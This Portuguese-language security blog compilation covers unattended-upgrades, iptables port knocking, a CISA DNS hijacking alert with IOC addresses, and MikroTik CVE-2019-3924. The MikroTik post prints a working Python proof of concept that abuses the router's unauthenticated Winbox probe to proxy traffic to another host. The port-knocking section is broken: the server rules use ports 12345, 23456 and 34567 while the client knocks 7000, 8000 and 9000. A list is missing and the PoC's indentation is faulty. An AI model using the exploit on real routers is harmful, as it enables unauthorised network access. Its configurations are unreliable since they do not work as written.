ATUALIZAÇÕES DE SEGURANÇA AUTÔNOMAS NO DEBIAN E UBUNTU

Para combater uma quantidade maior de ameaças aos pacotes de software, eles devem ser atualizados regularmente. As vulnerabilidades são descobertas diariamente, o que também requer um monitoramento diário do sistema. O patch de software leva tempo, especialmente quando são necessários testes e reinicializações. Felizmente, sistemas rodando Debian e Ubuntu podem usar upgrades não assistidos para obter gerenciamento automatizado de patches para atualizações de segurança.

# apt-get install unattended-upgrades

Após a instalação, é hora de configurar o pacote. Embora não haja muitas coisas para configurar, o arquivo de configuração é denominado /etc/apt/apt.conf.d/50unattended-upgrades. Por padrão, apenas atualizações de segurança serão instaladas, que é o que a maioria das pessoas deseja. Neste arquivo é possível configurar a reinicialização do sistema após uma atulização que exija isso ou até o quanto de banda de internet pode ser utilizado para download.

O arquivo usar os caracteres "//" como indicação de comentário. Para ativar alguma opção, basta apagar esses caracteres.

Em seguida, faça a reconfiguração do pacote para a instalação das atualizações de segurança:

# dpkg-reconfigure --priority=low unattended-upgrades

Escolha a opção Sim para finalizar a configuração. Na primeira utilização do unattended-upgrades, use o comando acompanhado do atributo -v:

# unattended-upgrades -v

É bom criar uma rotina para essas atualizações configurando uma entrada de agendamento dessa tarefa no crontab. Para este artigo, fiz a configuração para execução do comando toda semana, na sexta-feira, a partir do meio dia. Adapte ao seu ambiente de produção.

# crontab -e

Por padrão, todas as ações são registradas em /var/log/unattended-upgrades/unattended-upgrades.log.

Essa é uma dica bastante útil e que pode ajudar a mitigar possíveis ataques mantendo o sistema operacional com as atualizações de segurança mais recentes. Até a próxima!

SEGURANÇA EM SERVIDORES LINUX: PORT KNOKING

Nesse artigo vou mostrar a técnica do port knocking e como o mesmo é configurado por meio do iptables de maneira fácil e simples permitindo aplicar uma camada a mais de segurança na utilização de algum serviço remoto. Foi escolhido o serviço do SSH para os testes tendo em vista que é amplamente usado quando se quer fazer o gerenciamento remoto de um servidor.

Port knocking é uma técnica usada para proteger serviços de rede que devem ser acessíveis a partir da Internet pública, mas não são destinados ao uso público. Ele funciona bloqueando o acesso ao serviço, a menos que o cliente primeiro "bata" enviando uma pequena seqüência de pacotes para um determinado conjunto de portas em uma ordem específica. O conteúdo dos pacotes não é importante.

Há duas formas de usar essa técnica: através do daemon knockd ou iptables, como já foi mencionado no início.

Os módulos netfilter incluídos no kernel Linux padrão não fornecem suporte direto para o knock de porta, mas contêm todos os blocos de construção necessários para implementá-lo. O mais importante deles é o módulo recent, que tem a capacidade de:

• manter uma lista de pacotes recentes que satisfaçam uma determinada condição
• 
  
• tomar decisões consoante o número de pacotes gravados de um determinado endereço de origem esteja acima ou abaixo de um determinado limiar.

Qualquer número de listas separadas e nomeadas pode ser mantido. Neste caso, haverá três:

Com essa linha de raciocínio, o script, no servidor ficará:

#!/bin/sh

iptables -F
iptables -X
iptables -Z

iptables -N STATE0
iptables -A STATE0 -p udp --dport 12345 -m recent --name KNOCK1 --set -j DROP
iptables -A STATE0 -j DROP

iptables -N STATE1
iptables -A STATE1 -m recent --name KNOCK1 --remove
iptables -A STATE1 -p udp --dport 23456 -m recent --name KNOCK2 --set -j DROP
iptables -A STATE1 -j STATE0

iptables -N STATE2
iptables -A STATE2 -m recent --name KNOCK2 --remove
iptables -A STATE2 -p udp --dport 34567 -m recent --name KNOCK3 --set -j DROP
iptables -A STATE2 -j STATE0

iptables -N STATE3
iptables -A STATE3 -m recent --name KNOCK3 --remove
iptables -A STATE3 -p tcp --dport 22 -j ACCEPT
iptables -A STATE3 -j STATE0

iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT


iptables -A INPUT -m recent --name KNOCK3 --rcheck -j STATE3
iptables -A INPUT -m recent --name KNOCK2 --rcheck -j STATE2
iptables -A INPUT -m recent --name KNOCK1 --rcheck -j STATE1
iptables -A INPUT -j STATE0

Dessa forma usei as portas 7000, 8000 e 9000, com o protocolo UDP para configurar a sequencia das batidas. Numa máquina cliente, execute o script abaixo:

#!/bin/sh

echo -n "*" | nc -q1 -u $1 7000
echo -n "*" | nc -q1 -u $1 8000
echo -n "*" | nc -q1 -u $1 9000
ssh suporte@$1

Perceba que o "$1" refere-se ao IP passado como parâmetro na execução do script no terminal: ./script <IPDOSEVIDOR>.

Caso tenha ficado com alguma dúvida dos comandos utilizados e queira se aprofundar mais no assunto de iptables, recomendo o curso Iptables - O Firewall do Linux que dará uma boa base como montar scripts de firewall com regras bem definidas e úteis como conceitos de redes a análise de dados. Vale muito a pena adquirir o curso pois vai agregar bastante valor.

Até a próximo artigo pessoal!

CAMPANHA DE INVASÃO EM INFRAESTRUTURA DE DNS

A National Cybersecurity and Communications Integration Center (NCCIC), parte da Cybersecurity and Infrastructure Security Agency (CISA), tem conhecimento de uma articulação com o proposito de invasão, a nível global, em infraestrutura que utilizam o serviço de DNS (Domain Name Server). Utilizando-se de credencias comprometidas, um atacante, pode modificar a localização para o qual os recursos de nome de domínio de uma organização resolvem. Isso permite que o invasor redirecione o tráfego de usuários para uma infraestrutura controlada por eles e assim obtêm certificados de criptografia válidos para os nomes de domínio de uma organização, permitindo ataques do tipo man-in-the-middle.

Abaixo é possível ver a lista de alguns domínios maliciosos bem como os IPs para download:

IOCs (.csv)
IOCs (.stix)

Estes arquivos foram atualizados em 13 de Fevereiro de 2019, abaixo, alguns IPs que podem ser removidos da lista de endereços suspeitos:

107.161.23.204
192.161.187.200
209.141.38.71

Detalhes da Técnica Utilizada

1. Usando as técnicas a seguir, os invasores redirecionaram e interceptaram o tráfego da Web e de e-mails e puderam encaminhá-los para outros serviços de rede.
2. O invasor começa comprometendo as credenciais do usuário ou obtendo-as por meios alternativos de uma conta que pode fazer alterações nos registros do DNS 
3. Em seguida, o invasor altera registros DNS, como registros de Endereço (A), Mail Exchanger (MX) ou Name Server (NS), substituindo o endereço legítimo de um serviço por um endereço que o invasor controla. Isso permite que eles direcionem o tráfego do usuário para sua própria infraestrutura para manipulação ou inspeção antes de passá-lo para o serviço legítimo, caso escolham. Isso cria um risco que persiste além do período de redirecionamento de tráfego.

Como o invasor pode definir valores de registro DNS, ele também pode obter certificados de criptografia válidos para os nomes de domínio de uma organização. Isso permite que o tráfego redirecionado seja descriptografado, expondo qualquer dado enviado pelo usuário. Como o certificado é válido para o domínio, os usuários finais não recebem avisos de erro.

Recomendações parra Mitigação do Ataque

O NCCIC recomenda as seguintes melhores práticas para ajudar a manter segura sua rede contra esse tipo de ameaça:

• Atualize as senhas de todas as contas que podem alterar os registros DNS das organizações.
• Implementar autenticação de multiplos fatores em contas de registros de domínio ou em outros sistemas usados para modificar registros DNS.
• Audite os registros DNS públicos para verificar se eles estão resolvendo o local pretendido.
• Procure por certificados de criptografia relacionados a domínios e revogue todos os certificados solicitados de forma fraudulenta.

Referências
------------------

Cisco Talos blog: DNSpionage Campaign Targets Middle East
CERT-OPMD blog: [DNSPIONAGE] – Focus on internal actions
FireEye blog: Global DNS Hijacking Campaign: DNS Record Manipulation at Scale
Crowdstrike blog: Widespread DNS Hijacking Activity Targets Multiple Sectors

CVE-2019-3924 - VULNERABILIDADE NO MIKROTIK THE DUDE

No dia 21 de Fevereiro de 2019, por meio do Tenable, foi publicado o CVE-2019-3924 que detalha uma vulnerabilidade, de nível intermediário, no recurso The Dude da Mikrotik. 

O The Dude da MikroTik tem um recurso de descoberta de rede que envia sondagens (probe) definidas pelo usuário para descobrir serviços de rede. Existem várias sondas pré-definidas para HTTP, FTP, Telnet, etc.

Network Maps

Esse recurso permite uma "varredura recursiva" na rede, na qual as sondagens podem ser intermediados por proxy através da porta Winbox do MikroTik (8291). Descobriu-se que a autenticação não era aplicada nessas solicitações de sondagem com proxy. Portanto, um invasor remoto não autenticado pode usar um roteador MikroTik para proxy de tráfego arbitrário. Além disso, os invasores oriundos da internet podem usar esse recurso para enviar solicitações aos hosts conectados a uma rede local.

Existem algumas limitações para a funcionalidade de sondagem do MikroTik. Uma sondagem suporta apenas até três solicitações e respostas. Além disso, a resposta não é retransmitida para o cliente solicitante. Em vez disso, a resposta é comparada com uma expressão regular definida no formato do probe.

Abaixo segue um PoC (Proof of Concept) no envio de uma requisição HTTP GET, a partir de um IP público:

import argparse
import socket

if __name__ == '__main__':

    cmd_parser = argparse.ArgumentParser(description="PoC")
    cmd_parser.add_argument("-i", "--ip", action="store", dest="ip", required=True, help="Router IP")
    cmd_parser.add_argument("-p", "--port", action="store", dest="port", type=int, help="Winbox Port", default="8291")
    cmd_parser.add_argument("-n", "--name", action="store", dest="name", help="The new hostname")
    args = cmd_parser.parse_args()

    # Connect to Mikrotik router
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print "[+] Attempting connection to " + args.ip + ":" + str(args.port)
    sock.connect((args.ip, args.port))
    print "[+] Connected!"

    request = ('\x9e\x01\x00\x9c\x4d\x32\x05\x00\xff\x01\x03\x00\x00\x08\x42\xfc\x7b\x5a\x04'
               '\x00\x00\x09\x50\x06\x00\xff\x09\x01\x07\x00\xff\x09\x01\x07\x00\x00\x21\x46'
               'GET / HTTP/1.1\r\nHost: 66.252.123.90\r\nUser-Agent: Oops\r\nAccept: */*\r\n'
               '\r\n\x08\x00\x00\x21\x25^HTTP/1.1 200 Ok\r\nServer: micro_httpd\x01\x00\xff'
               '\x88\x01\x00\x68\x00\x00\x00')

sock.sendall(request)
resp = sock.recv(1024)
print '<- ' + resp
sock.close()

Dessa forma é importante manter sua RouterOS atualizada tendo em vista que a falha afeta as versões anteriores a RouterOS 6.43.12 (stable) and 6.42.12 (long-term).


----------------
Referências

Blog Mikrotik Security
NIST